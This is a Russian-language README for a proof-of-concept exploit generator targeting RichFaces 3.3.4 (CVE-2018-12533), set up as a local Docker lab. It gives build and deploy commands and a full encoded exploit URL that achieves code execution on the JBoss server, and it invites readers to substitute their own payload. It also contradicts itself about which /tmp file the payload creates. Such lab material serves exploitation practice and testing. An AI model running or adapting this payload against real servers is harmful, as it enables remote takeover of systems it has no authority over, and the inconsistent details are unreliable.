Генератор полезной нагрузки RF-14310 / CVE-2018-12533

Вся заслуга принадлежит https://github.com/Lucifaer

Ссылки

https://access.redhat.com/security/cve/cve-2018-12533

richfaces-jboss-poc

Просто развертываемый концепт-доказательство для отработки эксплуатации десериализации и внедрения EL-выражений в Richfaces 3.3.4, без лишней возни со старыми версиями Java и т.д.

Развертывание JBoss Docker

Чтобы избавить вас от хлопот по настройке уязвимого приложения, я создал Dockerfile на основе инструкций из статьи seclist, объясняющей CVE-2018-14667. Просто выполните следующие команды в корневом каталоге репозитория:

docker build -t richfaces-jboss .
docker run -p 8081:8080 richfaces-jboss

Если всё работает, вы можете получить доступ к тестовому приложению richfaces photoalbum по адресу http://127.0.0.1:8081/photoalbum

Компиляция PoC из корневого каталога репозитория в fat jar (легко с Docker и рабочим pom)

cd CVE-2018-12533
docker run -v ~/.m2:/root/.m2 -v $(pwd):/usr/src/app maven:3.5-jdk-8 mvn -f /usr/src/app/pom.xml clean package install

Генерация PoC URL

java -jar target/cve_2018_12533.jar

Перейдите по этому URL на сервере JBoss

Если вы хотите сделать что-то иное, кроме создания файла в /tmp, измените секцию /DATA/XXXXX на свою полезную нагрузку. Эта полезная нагрузка создаёт /tmp/hacked.txt http://127.0.0.1:8081/photoalbum/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/eAHNUk1r1UAUnfegVq2L-oEiItQo-goyKSJu6gOxFX2QWukTwbp4zEtuk2knM-nkpo0W3Qmi4satIOJKUBD9Be6k4KY!QQRxIYggLvVOUlssuDebXGbOnHPuufflVzaQW3bG2JhbGSZzIoScW9AR2AWJPMFU8StCajw1OQO5KWwIxzqpiGFSoGi!X!s4!OvF6yYb7LDtvX48YZSxHTbYmzM2FeiqBGScULWttywjTGbZjlCECYi-goAN9CKiQbYnmBdLwldCx!50fx5CHA!oReaEF9kd1igzVn9N-pWMNU6yjHwfd89KXrsOTZoZDRp5lzjhklHURFcsgb2--rb9-MmHqSZrBqSvRJ5fFin8rdtFK3VMujtzehNVHMj2186k8btgpVDylnM-XmZO!gRJ8rzQlQEFmHNQPIBYhDenABMTnZc6ItJ1740mawSskSI7VLGWPii!Bl4oMwt5Lo0m6n8xXxXxVvQf5l2UimUH6zjIxFbcG3!1waefpx9RfITbu4Hb1H1-9373--zaWYdwDo64lZjvm7xqaitfJ81U!9uBH0Pvdk85bTekoeWH7N7RFQuLBeTIY8AJl3RrdKMMjKCR0IGior70nBXuBs9nCo0yBa!C14Itj1g2z6VeMgvQ0oVSoxxKCFsemiJMRnxMMz8R4QJEHEv0Rm8zVlCfN6qca!r1-b5au!b5y-GVi1WfFF8T2b7KgzR8usCsQAKCoCENb1qrdzLLyuVn7OnIubGTYyNtLyQYwoTRSDvX!l8a98rfWVxP3w__.jsf

Зайдите в оболочку в отдельном терминале, чтобы проверить успешность полезной нагрузки

docker ps
docker exec -it <containerid> bash
ls /tmp

При использовании эксплойта из коробки он создаст /tmp/cve_2018_12533, так что таким образом вы сможете подтвердить, сработал ли эксплойт.

CVE-2018-12533

Популярное